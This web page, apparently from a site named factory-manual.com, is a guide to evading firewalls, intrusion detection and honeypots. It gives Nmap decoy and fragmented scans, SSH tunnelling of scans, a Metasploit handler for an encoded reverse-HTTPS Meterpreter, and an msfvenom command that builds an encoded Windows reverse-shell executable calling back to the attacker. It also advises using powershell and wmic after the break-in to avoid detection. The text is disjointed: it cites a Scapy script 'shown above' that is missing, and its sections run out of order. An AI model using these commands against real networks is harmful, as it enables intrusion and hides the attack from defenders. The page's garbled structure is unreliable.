Before you evade, you must understand what you are evading:
Honeypots mimic real systems to trap attackers.
Free techniques:
Free tool: Honeyd, CupOfString
Most firewalls block standard ports (e.g., 80, 443). Scan less common ports or use decoys to hide your real IP.
Free Command (Nmap):
nmap -D RND:10,ME -p 22,80,443,8080,8443 <target_ip>
If the firewall allows outbound HTTPS or DNS, you can tunnel your scan through it.
Free Method (using SSH dynamic port forwarding):
ssh -D 1080 user@your_public_server.com
proxychains nmap -sT -Pn <internal_target>
This encapsulates your malicious scan inside an encrypted SSH tunnel, making the firewall see only encrypted gibberish.
Let’s simulate a stealthy penetration test against a target network that has a firewall, Snort IDS, and a possible honeypot.
Step 1: Firewall Discovery (Noiseless)
nmap -Pn -f --data-length 200 --max-retries 1 -T2 <target_ip>
Step 2: IDS Evasion During Port Scan
nmap -sS -D RND:10 -T1 -g 53 --randomize-hosts <target_network>/28
Step 3: Honeypot Check on Open Ports Run a custom Scapy script to measure response times (as shown above). If the response is < 1ms on an interactive service, mark it as a honeypot and avoid.
Step 4: Payload Delivery (Metasploit + Encoder)
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST <your_ip>
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
exploit -j
Step 5: Living Off the Land (Post-Exploitation)
Once inside, avoid downloading hacking tools. Use powershell and wmic to blend in.
Before evading, you must understand the target.
If your Nmap scan contains the string "USER root", signature-based IDS will flag it. Encoding changes the representation.
Free Tool: nmap –script http-methods with encoding
Better yet, use Metasploit's encoders (free):
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > encoded_payload.exe
The shikata_ga_nai encoder mutates the payload 5 times, evading signature detection.
Copyright © 2026 factory-manual.com. All Rights Reserved.
